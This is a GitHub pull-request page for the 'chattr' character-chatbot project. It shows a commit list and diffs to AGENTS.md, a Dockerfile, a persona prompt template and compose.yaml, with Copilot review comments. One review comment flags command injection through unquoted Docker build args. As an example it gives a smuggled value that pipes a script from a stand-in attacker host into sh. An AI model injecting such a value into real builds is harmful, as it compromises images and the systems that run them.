Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
266 commits
Select commit Hold shift + click to select a range
2fd41ba
Delete .idea/copilot.data.migration.ask2agent.xml
MH0386 Oct 2, 2025
687ae12
Delete .idea/copilot.data.migration.edit.xml
MH0386 Oct 2, 2025
a305cac
Merge branch 'main' into enhance
mergify[bot] Oct 2, 2025
5f43801
Merge branch 'main' into enhance
mergify[bot] Oct 2, 2025
0e1644a
Merge branch 'main' into enhance
mergify[bot] Oct 2, 2025
45b756e
Delete dependabot.yaml
MH0386 Oct 2, 2025
211ff0a
Refactor memory retrieval and error handling in chatbot response gene…
MH0386 Oct 2, 2025
566e2b8
Update environment variables for model configuration
MH0386 Oct 2, 2025
bb190ff
style: format code with Ruff Formatter
deepsource-autofix[bot] Oct 2, 2025
4089b97
Refactor App class to use class methods and improve memory handling
MH0386 Oct 2, 2025
8e7f6e9
Merge branch 'enhance' of https://github.com/AlphaSphereDotAI/chattr …
MH0386 Oct 2, 2025
ec36f60
refactor: convert instance methods to class methods for URL handling …
MH0386 Oct 2, 2025
94782cb
style: format code with Ruff Formatter
deepsource-autofix[bot] Oct 2, 2025
24bcb7e
refactor: remove unsupported type declarations from class assignments
deepsource-autofix[bot] Oct 2, 2025
7d08cff
refactor: update Dockerfile to use ARG for INSTALL_SOURCE and install…
MH0386 Oct 2, 2025
9606556
refactor: update Mergify configuration to add rules for trunk updates…
MH0386 Oct 2, 2025
41bd19f
refactor: enhance Docker workflow with dynamic registry login and imp…
MH0386 Oct 2, 2025
5ac4212
refactor: remove unused FASTEMBED_CACHE_PATH environment variable
MH0386 Oct 2, 2025
79e0f2d
refactor: add no-verify option for linter fix commits
MH0386 Oct 2, 2025
25c7df1
refactor: update build workflow to use repository URL and improve bra…
MH0386 Oct 2, 2025
5a51ee6
refactor: remove HuggingFace upload job from release workflow
MH0386 Oct 2, 2025
8740343
refactor: enhance job summary in test workflow to include dependency …
MH0386 Oct 2, 2025
c8884f0
refactor: update condition to trigger versioning job for renovate[bot]
MH0386 Oct 2, 2025
025c573
Merge pull request #401 from AlphaSphereDotAI/ci
MH0386 Oct 2, 2025
f2a34b4
Merge branch 'main' into enhance
MH0386 Oct 2, 2025
a3f8c7e
Delete src/chattr/app/gui.py
MH0386 Oct 2, 2025
1754b84
Delete src/chattr/app/utils.py
MH0386 Oct 2, 2025
98d260c
Merge branch 'main' into enhance
mergify[bot] Oct 3, 2025
1603800
Merge branch 'main' into enhance
mergify[bot] Oct 3, 2025
8632f95
Improve MCP config error handling in App setup
MH0386 Oct 3, 2025
44d5ba2
Merge branch 'enhance' of https://github.com/AlphaSphereDotAI/chattr …
MH0386 Oct 3, 2025
cd80f8e
Rename mcp-config.json to mcp-schema.json and update references
MH0386 Oct 3, 2025
b68b8be
Update environment variables for model configuration
MH0386 Oct 3, 2025
6a95c4e
Add configuration files for Checkov, Trivy, and Ruff
MH0386 Oct 3, 2025
a81c7b7
Refactor MCP configuration structure by removing mcp-schema.json and …
MH0386 Oct 3, 2025
26a0122
Refactor MCPSettings by removing schema_path and related validation l…
MH0386 Oct 3, 2025
deeed77
Fix return statement in App.create method and update memory setup doc…
MH0386 Oct 3, 2025
96ac58d
Add Docker run configurations to IDE project files
MH0386 Oct 4, 2025
3d32905
Update mcp.json
MH0386 Oct 4, 2025
2491a14
Add Docker Compose development configuration
MH0386 Oct 4, 2025
18bb6dd
Remove hardcoded server port from app launch
MH0386 Oct 4, 2025
2cce5c7
Replace PlayableVideo with Video and update audio config and download
MH0386 Oct 4, 2025
4c48a26
Enhance URL validation check
MH0386 Oct 4, 2025
2510780
Remove unused audio conversion method and improve logging
MH0386 Oct 4, 2025
3d6c299
Handle unsupported audio source keys in response.
MH0386 Oct 4, 2025
fdf5601
Add missing message type imports from langchain_core and Add type hint
MH0386 Oct 4, 2025
e36bf97
Fix trailing comma after JSON dict
MH0386 Oct 4, 2025
fabfc8c
Move Connection import to TYPE_CHECKING block
MH0386 Oct 4, 2025
cb6b4bb
Add trailing commas and debug log response type keys
MH0386 Oct 4, 2025
f356cde
Refactor response handling and update method signatures to include vi…
MH0386 Oct 4, 2025
608d46d
Add ruff configuration extension to pyproject.toml
MH0386 Oct 4, 2025
58bf3e3
Fix trailing commas in function calls and docstrings for consistency
MH0386 Oct 4, 2025
cd3e350
Remove loguru dependency
MH0386 Oct 5, 2025
ec0e2fb
Add logging configuration and remove loguru dependency.
MH0386 Oct 5, 2025
fde07f8
Add debug logging for agent and tool responses
MH0386 Oct 5, 2025
f2fd5c6
Fix unused return values from click/submit handlers
MH0386 Oct 5, 2025
6b7ce15
Fix docstring formatting and whitespace
MH0386 Oct 5, 2025
4912efc
Set parallel tool calls to False in LLM binding
MH0386 Oct 5, 2025
925d9d9
Initialize core app with Console and warning filters
MH0386 Oct 5, 2025
e38147d
Move logger handler setup to settings init
MH0386 Oct 5, 2025
4c61246
Merge pull request #411 from AlphaSphereDotAI/logging
MH0386 Oct 5, 2025
954240a
Add prompts directory to DirectorySettings and update directory creat…
MH0386 Oct 5, 2025
a683851
Add poml dependency to project and update lock file
MH0386 Oct 5, 2025
1e76ac5
Add template.poml file for system prompt configuration
MH0386 Oct 6, 2025
050ee7d
Merge branch 'enhance' into prompt
MH0386 Oct 6, 2025
ea7b1e4
Merge branch 'main' into enhance
MH0386 Oct 6, 2025
8b54c63
Merge branch 'enhance' into prompt
mergify[bot] Oct 6, 2025
2a81666
Unpacking for messages in ainvoke calls
MH0386 Oct 6, 2025
2b2083d
Refactor template.poml to use <role> and <task> elements for improved…
MH0386 Oct 6, 2025
5adf7f4
Enhance devenv.nix configuration with improved process management and…
MH0386 Oct 6, 2025
1cd56c4
Update trunk.yaml to enable nixpkgs-fmt and and rm tools uv and direnv
MH0386 Oct 6, 2025
63b7544
Refactor builder.py to enhance message handling and integrate `Langch…
MH0386 Oct 6, 2025
fa8dfd7
Enhance devenv.nix with improved process management and readiness pro…
MH0386 Oct 7, 2025
2c3ebc8
Update devenv.nix
MH0386 Oct 7, 2025
f43565e
Add video_generator mcp
MH0386 Oct 7, 2025
045c1d5
Update template.poml to enhance audio and video generation instructio…
MH0386 Oct 7, 2025
166406b
Update template.poml to enhance audio and video generation instructio…
MH0386 Oct 7, 2025
23a8972
Update prompt
MH0386 Oct 8, 2025
dd75c18
Fix chatbot error handling and type hints
MH0386 Oct 8, 2025
984416c
Refactor prompt template to include video generation
MH0386 Oct 8, 2025
42a7d57
Update launch configuration for server debugging
MH0386 Oct 11, 2025
4fbafa9
Add doppler-env dependency to development group in pyproject.toml and…
MH0386 Oct 11, 2025
bc6ddec
Remove devenv configuration files and related environment setup
MH0386 Oct 11, 2025
9d31422
Update launch configuration to standardize server name and module path
MH0386 Oct 15, 2025
6c69cdb
Add doppler-env dependency to development group in pyproject.toml and…
MH0386 Oct 15, 2025
af395c6
Remove nixpkgs-fmt from enabled linting tools in trunk.yaml
MH0386 Oct 16, 2025
cacb55a
Refactor Docker Compose configuration to rename container and streaml…
MH0386 Oct 16, 2025
0df5c15
Add command configuration to devcontainer for interactive shell
MH0386 Oct 16, 2025
f739ffd
Add initial devcontainer configuration for Chattr project
MH0386 Oct 16, 2025
0e22e99
Add devcontainer lock file and update devcontainer configuration
MH0386 Oct 16, 2025
693f755
Update devcontainer configuration and lock file to include additional…
MH0386 Oct 16, 2025
8aa4863
Add 'bat' feature to devcontainer and update volume mounts in compose…
MH0386 Oct 16, 2025
ae953e4
Add setup script to install Doppler CLI in devcontainer
MH0386 Oct 17, 2025
8766546
Enhance devcontainer setup by adding Doppler installation script and …
MH0386 Oct 17, 2025
1e60c85
add devcontainer
MH0386 Oct 18, 2025
fceb9f8
update devcontainer
MH0386 Oct 18, 2025
d38279d
rm devenv
MH0386 Oct 18, 2025
6faec58
Merge branch 'enhance' into prompt
mergify[bot] Oct 18, 2025
86a1e11
Merge 6faec5824c7a12bb3cc3d4d2e43e9bb08758cc44 into bc6ddec8915f4d157…
MH0386 Oct 18, 2025
b6702c3
[Trunk] Apply linters fixes
mergify[bot] Oct 18, 2025
7e4e8d3
Merge branch 'main' into enhance
mergify[bot] Oct 18, 2025
f7f93a8
Merge branch 'enhance' into prompt
mergify[bot] Oct 18, 2025
fc2d9cb
Merge pull request #414 from AlphaSphereDotAI/prompt
MH0386 Oct 18, 2025
f9d72ed
Merge branch 'main' into enhance
mergify[bot] Oct 18, 2025
af015c4
rm devcontainer
MH0386 Oct 19, 2025
a1e8f52
Adds agent development guidelines
MH0386 Oct 19, 2025
338368e
Introduces Opencode workflow job
MH0386 Oct 19, 2025
5735f24
Disables several Trunk actions
MH0386 Oct 19, 2025
f4409b0
rm pre-commit-hooks linter
MH0386 Oct 19, 2025
e0fc704
Merge f4409b05eead78c2a8379ce96276c5580122d112 into a1e8f5285d5d2c6af…
MH0386 Oct 19, 2025
136ac45
[Trunk] Apply linters fixes
MH0386 Oct 19, 2025
5f2819f
Add pre-commit-hooks to linting configuration
MH0386 Oct 19, 2025
c89fea9
Updates CI comment trigger and removes concurrency.
MH0386 Oct 19, 2025
6283b3a
Merge branch 'ci' of github.com:AlphaSphereDotAI/chattr into ci
MH0386 Oct 19, 2025
d2a001b
Merge 6283b3ad514a194e69e576cc149e43a1c1cdb273 into a1e8f5285d5d2c6af…
MH0386 Oct 19, 2025
331a8a5
[Trunk] Apply linters fixes
MH0386 Oct 19, 2025
2e667e2
Merge pull request #421 from AlphaSphereDotAI/ci
MH0386 Oct 19, 2025
812c329
Avoid deleting branches on unmerged PR closures
MH0386 Oct 19, 2025
08082b1
Uses pyproject.toml for Python version in Docker and remove docker bu…
MH0386 Oct 19, 2025
3687fa4
Prevents redundant version updates in CI
MH0386 Oct 19, 2025
bb19a43
Merge branch 'enhance' into ci
MH0386 Oct 19, 2025
87a2f0a
Merge pull request #422 from AlphaSphereDotAI/ci
MH0386 Oct 19, 2025
38cd607
Merge branch 'enhance' of github.com:AlphaSphereDotAI/chattr into enh…
MH0386 Oct 19, 2025
caebddc
Installs uv via apk and adds Python version control
MH0386 Oct 19, 2025
50489e5
Fixes workflow `if` condition syntax
MH0386 Oct 19, 2025
7556026
Adds healthcheck for app service
MH0386 Oct 19, 2025
eef4161
add graph diagram
MH0386 Oct 19, 2025
7237cb6
add debug option
MH0386 Oct 19, 2025
4b4ef3a
Adds debug sidebar to GUI
MH0386 Oct 19, 2025
6fc96f9
Extracts prompt and memory setup logic
MH0386 Oct 19, 2025
7cf3342
Refactors memory persistence logic
MH0386 Oct 19, 2025
147e9f3
Uses Path.open() for file I/O
MH0386 Oct 20, 2025
ca536f2
Adds uv-build to development dependencies
MH0386 Oct 20, 2025
988632a
Integrates temporary file cleanup into state graph
MH0386 Oct 20, 2025
b394ab4
Adds video directory configuration and ensures its creation
MH0386 Oct 20, 2025
5b5203a
Updates graph image asset
MH0386 Oct 20, 2025
20db923
Add agno dependencies in pyproject.toml
MH0386 Oct 22, 2025
07e86fb
Refactor Chattr app to agno
MH0386 Oct 22, 2025
28ac340
Refactor App to set up agent via instance methods
MH0386 Oct 22, 2025
9b19383
Remove context usage from prompt template
MH0386 Oct 23, 2025
03db5ef
Refactor App to use instance methods and prompts
MH0386 Oct 23, 2025
918b76d
Set logging level to DEBUG
MH0386 Oct 23, 2025
2bc872e
Instantiate App directly instead of asyncio run
MH0386 Oct 23, 2025
c7ecf88
fix db dir path
MH0386 Oct 24, 2025
2714bbe
Set user role and enable streaming in arun call
MH0386 Oct 24, 2025
297838b
Update uv.lock
MH0386 Oct 24, 2025
b1fa441
Add byterover agent guidelines and tooling workflows
MH0386 Oct 26, 2025
d72c988
Run voice_generator as root and use nonroot paths
MH0386 Oct 26, 2025
fcaf38d
Add localhost to PUBLIC_HOSTNAME_WHITELIST
MH0386 Oct 26, 2025
4ca040e
Add agno/ to .gitignore
MH0386 Oct 26, 2025
b03ed86
Refactor agent setup to async with tools
MH0386 Oct 26, 2025
9c14ee8
Refactor Gradio interface and enhance response generation with video …
MH0386 Oct 29, 2025
af05fd4
Add post_start commands to voice_generator for proper permissions setup
MH0386 Oct 29, 2025
c1199a5
Add mcp dependency version 1.19.0 to project dependencies
MH0386 Oct 29, 2025
1cb1d3b
Update video_generator URL to use generate_video_mcp tool
MH0386 Oct 29, 2025
74587a4
Update response file path to save in 'agno' directory
MH0386 Oct 29, 2025
7bedf67
Enhance healthcheck command in compose-dev.yaml for improved status r…
MH0386 Oct 29, 2025
c1f17af
Add restart policy and healthcheck configuration for voice_generator …
MH0386 Oct 29, 2025
5c9d467
Update environment variables in compose.yaml to use dynamic values
MH0386 Oct 29, 2025
2ecd0cf
Update VECTOR_DATABASE__NAME in compose.yaml from 'test' to 'main'
MH0386 Oct 29, 2025
c392e3a
Update .gitignore to include additional Byterover rules files and rem…
MH0386 Oct 30, 2025
698cb51
Update .gitignore to ensure proper inclusion of Byterover rules files
MH0386 Oct 30, 2025
104b1c1
Update project configuration files to ensure proper formatting and st…
MH0386 Oct 30, 2025
f324778
Normalize line endings to LF
MH0386 Oct 30, 2025
c2f4c10
Fix .gitattributes to ensure consistent line endings with LF
MH0386 Oct 30, 2025
09df17e
Remove unused import of FilePath from pydantic in builder.py
MH0386 Oct 30, 2025
a368425
Merge branch 'main' into try-agno
MH0386 Nov 6, 2025
4f3c28f
Delete .idea directory
MH0386 Nov 6, 2025
57958d7
Merge branch 'main' into try-agno
MH0386 Nov 6, 2025
c5e288e
Reduce max line length from 145 to 140
MH0386 Nov 6, 2025
17c8a39
Delete assets/graph.png
MH0386 Nov 6, 2025
0dfc78b
Add APP_NAME variable to __init__.py for package identification
MH0386 Nov 6, 2025
ba804ee
Enhance settings documentation
MH0386 Nov 6, 2025
5b423bc
Fix directory creation to support parent directories and improve erro…
MH0386 Nov 6, 2025
1a337d7
Add docstring for MemorySettings class to clarify its purpose
MH0386 Nov 6, 2025
3fc4918
Improve error message for invalid MCP config file type
MH0386 Nov 6, 2025
a0a9ec3
Refactor DirectorySettings to use computed properties for directory p…
MH0386 Nov 6, 2025
6cb94ca
Update ModelSettings to use optional type hints for URL, name, and AP…
MH0386 Nov 6, 2025
06a4fbf
Refactor Settings class to use Field with default_factory for better …
MH0386 Nov 6, 2025
352e6ef
Enhance main script output by using rich for formatted JSON display o…
MH0386 Nov 6, 2025
459827d
Refactor ModelSettings validation messages for clarity and formatting
MH0386 Nov 6, 2025
8094916
Merge pull request #430 from AlphaSphereDotAI/settings
MH0386 Nov 6, 2025
8451fa4
Merge branch 'main' into try-agno
mergify[bot] Nov 7, 2025
a565dc7
Merge branch 'main' into try-agno
mergify[bot] Nov 8, 2025
537387e
Merge branch 'main' into try-agno
mergify[bot] Nov 11, 2025
f8265d1
Merge branch 'main' into try-agno
mergify[bot] Nov 12, 2025
d444fa7
Merge branch 'main' into try-agno
mergify[bot] Nov 13, 2025
eb2df8c
Merge branch 'main' into try-agno
mergify[bot] Nov 14, 2025
d764e36
Merge branch 'main' into try-agno
mergify[bot] Nov 15, 2025
9b14ef7
Merge branch 'main' into try-agno
mergify[bot] Nov 18, 2025
d22d29e
Merge branch 'main' into try-agno
mergify[bot] Nov 19, 2025
3d88600
Merge branch 'main' into try-agno
mergify[bot] Nov 20, 2025
4f0b5db
Merge branch 'main' into try-agno
mergify[bot] Nov 21, 2025
b6390b4
Merge branch 'main' into try-agno
mergify[bot] Nov 22, 2025
75e3f7e
Merge branch 'main' into try-agno
mergify[bot] Nov 24, 2025
871a059
Merge branch 'main' into try-agno
mergify[bot] Nov 24, 2025
6911c1b
Apply suggestions from code review
MH0386 Nov 24, 2025
3fe04bc
Apply suggestions from code review
MH0386 Nov 24, 2025
ce5e3b0
Merge branch 'main' into try-agno
mergify[bot] Nov 25, 2025
c1272a4
Enhance logger declaration with type hinting and use `APP_NAME`
MH0386 Nov 25, 2025
dad15d6
Merge c1272a4b46418cc7f87cb817d84c1c9167c06f5a into 3979e3b7c57df2e52…
MH0386 Nov 25, 2025
d38802a
[Trunk] Apply linters fixes
MH0386 Nov 25, 2025
0b2f1f3
Apply suggestion from @Copilot
MH0386 Nov 25, 2025
e311195
Remove redundant comment in logger configuration
MH0386 Nov 25, 2025
3d54984
Refactor MCPSettings to use Field for path initialization and rename …
MH0386 Nov 25, 2025
2191941
Refactor logger configuration to ensure log file creation is handled …
MH0386 Nov 25, 2025
edb3ee9
Add rich dependency to project requirements
MH0386 Nov 25, 2025
6a7455a
Remove unused FileHandler import from settings.py
MH0386 Nov 25, 2025
e8a9011
Remove State class and associated import from state.py
MH0386 Nov 25, 2025
ecbb40b
Merge branch 'main' into try-agno
mergify[bot] Nov 26, 2025
ad8648e
Refactor mcp.json to encapsulate server configurations within mcp_ser…
MH0386 Nov 26, 2025
9d96a46
Add MCPScheme model and connection variants for MCP server configuration
MH0386 Nov 26, 2025
a4c1450
Add MCPSettings validation for MCP config scheme
MH0386 Nov 26, 2025
4c73f38
Merge branch 'try-agno' of https://github.com/AlphaSphereDotAI/chattr…
MH0386 Nov 26, 2025
40671ff
Add missing 'type' fields and fix transport formatting in mcp.json
MH0386 Nov 26, 2025
feb902c
Add example names for MCP server instances in main execution block
MH0386 Nov 26, 2025
c1b57b7
Update gradio dependency to include mcp extras
MH0386 Nov 26, 2025
0631268
Update Python version requirement in pyproject.toml
MH0386 Nov 26, 2025
1811b76
Updated dependencies to include optional features for 'agno' and remo…
MH0386 Nov 26, 2025
a04d8bb
Merge branch 'main' into try-agno
mergify[bot] Nov 27, 2025
e87a310
Remove names from Checkpoint and gfpgan
MH0386 Nov 27, 2025
a3baaa4
Update Docker images and add restart policies
MH0386 Nov 27, 2025
3cc2d55
Add GRADIO_DEBUG environment variable to services
MH0386 Nov 27, 2025
773aee5
Update image tags to latest for services
MH0386 Nov 27, 2025
18f4ac4
Merge branch 'main' into try-agno
mergify[bot] Nov 28, 2025
7ae71f0
Merge branch 'main' into try-agno
mergify[bot] Nov 29, 2025
8790e01
Merge branch 'main' into try-agno
mergify[bot] Nov 29, 2025
af8d4aa
Clean up .gitignore by removing unused rules
MH0386 Nov 30, 2025
2762060
Rename compose-dev.yaml to docker-compose-dev.yaml
MH0386 Nov 30, 2025
64cc013
Fix quoting in uv tool install command in Dockerfile
MH0386 Nov 30, 2025
a1befc2
Set default values for MODEL__URL and MODEL__NAME in compose.yaml
MH0386 Nov 30, 2025
9a4120e
Update container images to use latest tags
MH0386 Nov 30, 2025
dd93772
Merge branch 'try-agno' of https://github.com/AlphaSphereDotAI/chattr…
MH0386 Nov 30, 2025
d1f7d29
Merge branch 'main' into try-agno
mergify[bot] Nov 30, 2025
7084055
Restrict permissions on /home/nonroot to 700 for security
MH0386 Dec 1, 2025
8991431
Use dockerhub image references in compose.yaml
MH0386 Dec 1, 2025
9be2226
Update image references for voice and video generators to use ghcr.io…
MH0386 Dec 1, 2025
03f71e4
Update Ruff configuration path in pyproject.toml
MH0386 Dec 1, 2025
19c65cb
Add environment variable configuration in .envrc
MH0386 Dec 1, 2025
37fcceb
Fix voice_generator URL by removing trailing slash
MH0386 Dec 1, 2025
6a12352
Refactor builder.py to enable pre-hooks and debug mode; update mcp_to…
MH0386 Dec 1, 2025
0cab0c5
Update uv.lock to specify Python version and add optional dependencie…
MH0386 Dec 2, 2025
a3bff0c
Refactor _setup_tools to optimize MCP server URL handling
MH0386 Dec 2, 2025
942d9e7
Apply suggestion from @Copilot
MH0386 Dec 3, 2025
e168859
Add CHARACTER__NAME environment variable for consistency
MH0386 Dec 4, 2025
a43ae19
Add CharacterSettings class to manage character configuration
MH0386 Dec 4, 2025
fbbab0e
Merge branch 'main' into try-agno
mergify[bot] Dec 4, 2025
668ceeb
Merge branch 'main' into try-agno
mergify[bot] Dec 6, 2025
e4722c0
Merge branch 'main' into try-agno
mergify[bot] Dec 6, 2025
77bbe06
Merge branch 'main' into try-agno
mergify[bot] Dec 9, 2025
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
6 changes: 6 additions & 0 deletions .envrc
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
export MODEL__URL=${MODEL__URL:-https://generativelanguage.googleapis.com/v1beta/openai}
export MODEL__NAME=${MODEL__NAME:-gemini-2.5-flash}
export MODEL__API_KEY=${GOOGLE_API_KEY}
export VECTOR_DATABASE__URL=http://localhost:6333
export VECTOR_DATABASE__NAME=main
export CHARACTER__NAME=Napoleon
1 change: 1 addition & 0 deletions .gitattributes
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
* text=auto eol=lf
11 changes: 1 addition & 10 deletions .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -8,13 +8,4 @@ results/
qdrant_storage/
assets/audio/
assets/video/

# Devenv
.devenv*
devenv.local.nix

# direnv
.direnv

# pre-commit
.pre-commit-config.yaml
agno/
133 changes: 133 additions & 0 deletions AGENTS.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,133 @@
# Agent Guidelines for Chattr

[byterover-mcp]

## Byterover MCP Server Tools Reference

There are two main workflows with Byterover tools and recommended tool call strategies that you **MUST** follow precisely.

### Onboarding workflow

If users particularly ask you to start the onboarding process, you **MUST STRICTLY** follow these steps.

1. **ALWAYS USE** **byterover-check-handbook-existence** first to check if the byterover handbook already exists. If not, You **MUST** call **byterover-create-handbook** to create the byterover handbook.
2. If the byterover handbook already exists, first you **MUST** USE **byterover-check-handbook-sync** to analyze the gap between the current codebase and the existing byterover handbook.
3. Then **IMMEDIATELY USE** **byterover-update-handbook** to update these changes to the byterover handbook.
4. During the onboarding, you **MUST** use **byterover-list-modules** **FIRST** to get the available modules, and then **byterover-store-modules** and **byterover-update-modules** if there are new modules or changes to existing modules in the project.

### Planning workflow

Based on user request, you **MUST** follow these sequences of tool calls

1. If asked to continue an unfinished implementation, **CALL** **byterover-retrieve-active-plans** to find the most relevant active plan.
2. **CRITICAL PLAN PERSISTENCE RULE**: Once a user approves a plan, you **MUST IMMEDIATELY CALL** **byterover-save-implementation-plan** to save it.
3. Throughout the plan, you **MUST** run **byterover-retrieve-knowledge** several times to retrieve sufficient knowledge and context for the plan's tasks.
4. In addition, you might need to run **byterover-search-modules** and **byterover-update-modules** if the tasks require or update knowledge about certain modules. However, **byterover-retrieve-knowledge** should **ALWAYS** be considered **FIRST**.
5. **MUST** use **byterover-update-plan-progress** to mark tasks (and then the whole plan) as completed.
Example:

- Task: `byterover-update-plan-progress(plan_name="Feature X", task_name="Task 1", is_completed=true)`
- All done: `byterover-update-plan-progress(plan_name="Feature X", is_completed=true)`

6. Then, you might call **byterover-store-knowledge** to save knowledge and experience implemented throughout the plan or in important tasks.
7. During the plan's implementation, you **MUST** frequently call **byterover-think-about-collected-information** and **byterover-assess-context-completeness** to make sure you're on the right track and gather sufficient context for the tasks.

### Recommended Workflow Sequence

1. **MOST IMPORTANT**: **ALWAYS USE** **byterover-retrieve-knowledge** once or several times for **EACH TASK** of the plan to gather necessary context to complete that task.
2. **MOST IMPORTANT**: **ALWAYS USE** **byterover-store-knowledge** once or several times to store critical knowledge and context for future implementations
3. Over 15 provided tools, **byterover-retrieve-knowledge** and **byterover-store-knowledge** ARE the two main tools, which **MUST** be used regularly. You can use these two main tools outside the two main workflows for retrieval and storage purposes.
4. You **MUST** include phrases like **"According to Byterover memory layer"**, **"Based on memory extracted from Byterover"**, **"From Byterover memory tools"**, ... to explicitly showcase that these sources are from **Byterover**.
5. **Implementation & Progress Tracking** → Execute implementation following saved plan → Mark tasks complete as you go → Mark entire plan done when all tasks finished.
6. You **MUST** use **byterover-update-module** **IMMEDIATELY** on changes to the module's purposes, technical details, or critical insights that essential for future implementations.

## Build/Lint/Test Commands

### Installation

```bash
uv sync # Install dependencies
```

### Building

```bash
uv build # Build source and wheel distributions
```

### Linting & Formatting

```bash
trunk fmt --all --no-progress # Auto-format code
trunk check # Run all linters and checks
```

### Testing

```bash
pytest # Run all tests
pytest tests/test_app.py::test_app # Run single test
```

## Code Style Guidelines

### General

- **Line length**: 88 characters
- **Indentation**: 4 spaces
- **Quote style**: Double quotes (`"`)
- **File encoding**: UTF-8

### Imports

- Use `from __future__ import annotations` when needed
- Group imports: standard library, third-party, local
- Use `TYPE_CHECKING` for conditional imports
- Combine as imports: `from typing import Dict, List` → `from typing import Dict, List`

### Type Hints

- Use type hints for all function parameters and return values
- Use `Self` for methods returning the same class instance
- Use `Sequence`, `list`, `dict` instead of bare generics
- Use `Path` from `pathlib` for file paths

### Naming Conventions

- **Functions/Methods**: `snake_case`
- **Variables**: `snake_case`
- **Classes**: `PascalCase`
- **Constants**: `UPPER_CASE`
- **Private attributes**: `_leading_underscore`

### Error Handling

- Use specific exception types (e.g., `OSError`, `ValueError`, `ValidationError`)
- Log errors with appropriate levels (`logger.error`, `logger.warning`)
- Raise `Error` from gradio for user-facing errors
- Use try/except blocks with meaningful error messages

### Async/Await

- Use `async def` for coroutines
- Use `await` for async operations
- Return `AsyncGenerator` for streaming responses

### Documentation

- Use docstrings for all public functions, classes, and modules
- Follow Google-style docstring format
- Document parameters, return values, and exceptions

### Logging

- Import logger from module settings
- Use appropriate log levels: `debug`, `info`, `warning`, `error`
- Include relevant context in log messages

### Testing Guidelines

- Use `pytest` framework
- Test functions named `test_*`
- Use descriptive assertions
- Mock external dependencies when needed
9 changes: 6 additions & 3 deletions Dockerfile
Original file line number Diff line number Diff line change
@@ -1,12 +1,15 @@
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:3e3a125c18346ee7b95980be96529d39eb9f799e140aab2b02218a1bd67bfb18 AS builder

COPY --from=ghcr.io/astral-sh/uv:latest@sha256:9874eb7afe5ca16c363fe80b294fe700e460df29a55532bbfea234a0f12eddb1 \
/uv /uvx /usr/bin/
ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
uv tool install chattr
uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}
Copy link

Copilot AI Dec 1, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The RUN uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION} line interpolates unquoted build args into a shell, enabling command injection via shell metacharacters if INSTALL_SOURCE/PYTHON_VERSION are influenced by workflow inputs. An attacker could supply a value like pkg; curl -sSfL http://attacker/p.sh | sh to execute arbitrary commands during the build and bake a compromised image. Fix by avoiding the shell or quoting the variables, e.g.:

RUN uv tool install "$INSTALL_SOURCE" --python "$PYTHON_VERSION"
# Or use exec-form RUN and/or validate/whitelist acceptable values in the caller workflow
Suggested change
uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}
uv tool install "$INSTALL_SOURCE" --python "$PYTHON_VERSION"

Copilot uses AI. Check for mistakes.

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:3e3a125c18346ee7b95980be96529d39eb9f799e140aab2b02218a1bd67bfb18 AS production

Expand Down
39 changes: 0 additions & 39 deletions assets/mcp-config.json

This file was deleted.

30 changes: 30 additions & 0 deletions assets/prompts/template.poml
Original file line number Diff line number Diff line change
@@ -0,0 +1,30 @@
<poml syntax="markdown">
<role speaker="system">
You are a helpful assistant who can act and mimic {{character}}'s character and answer questions about the era.
</role>
<task speaker="system">
Always respond to the user's query by first generating your text answer, then using an MCP to generate audio from that text, and finally using an MCP to create a video from that audio.
<br />
<b>Crucially, your final output MUST include the generated text response, followed by the tool call for the video creation.</b>
<list>
<item><b>Personality:</b> Adopt the voice, tone, and perspective of {{character}}.</item>
<item><b>Knowledge:</b> Answer questions about the {{character}} era, military campaigns, and French history relevant to his life.</item>
</list>
<stepwise-instructions>
<list>
<item>Understand the user's question and context.</item>
<item>Gather relevant information and resources.</item>
<item>Formulate a clear and concise response in {{character}}'s voice.</item>
<item><b>ALWAYS</b> generate audio from the formulated response using the appropriate MCP.</item>
<item><b>ALWAYS</b> create a video file from the generated audio using the appropriate MCP.</item>
</list>
</stepwise-instructions>
</task>
<output-format>
Your response structure MUST be:
<list>
<item><b>[{{character}}'s Text Response]</b></item>
<item><b>[Tool Call to generate the video, which implicitly includes the audio generation step]</b></item>
</list>
</output-format>
</poml>
90 changes: 85 additions & 5 deletions compose.yaml
Original file line number Diff line number Diff line change
@@ -1,22 +1,25 @@
name: Chattr
services:
chattr:
image: ghcr.io/alphaspheredotai/chattr:latest@sha256:a5e93af402616faa006b0add9675e6101708aa94d90ddf35ff133631cfae78fd
image: alphaspheredotai/chattr:latest
Copy link

Copilot AI Dec 2, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The Docker image tag changed from a specific SHA digest to latest. Using latest can lead to non-reproducible builds and unexpected behavior when the image is updated. Consider pinning to a specific version tag or SHA digest for production deployments.

Suggested change
image: alphaspheredotai/chattr:latest
image: alphaspheredotai/chattr@sha256:REPLACE_WITH_ACTUAL_DIGEST

Copilot uses AI. Check for mistakes.
ports:
- "7860:7860"
volumes:
- logs:/home/nonroot/logs
- assets:/home/nonroot/assets
- fastembed:/home/nonroot/fastembed
restart: on-failure:3
post_start:
- command: chown -R nonroot:nonroot /home/nonroot
user: root
- command: chmod -R 700 /home/nonroot
user: root
environment:
MODEL__URL: https://api.groq.com/openai/v1
MODEL__NAME: llama3-70b-8192
MODEL__URL: ${MODEL__URL:-https://generativelanguage.googleapis.com/v1beta/openai}
MODEL__NAME: ${MODEL__NAME:-gemini-2.5-flash}
Comment on lines +18 to +19
Copy link

Copilot AI Dec 3, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

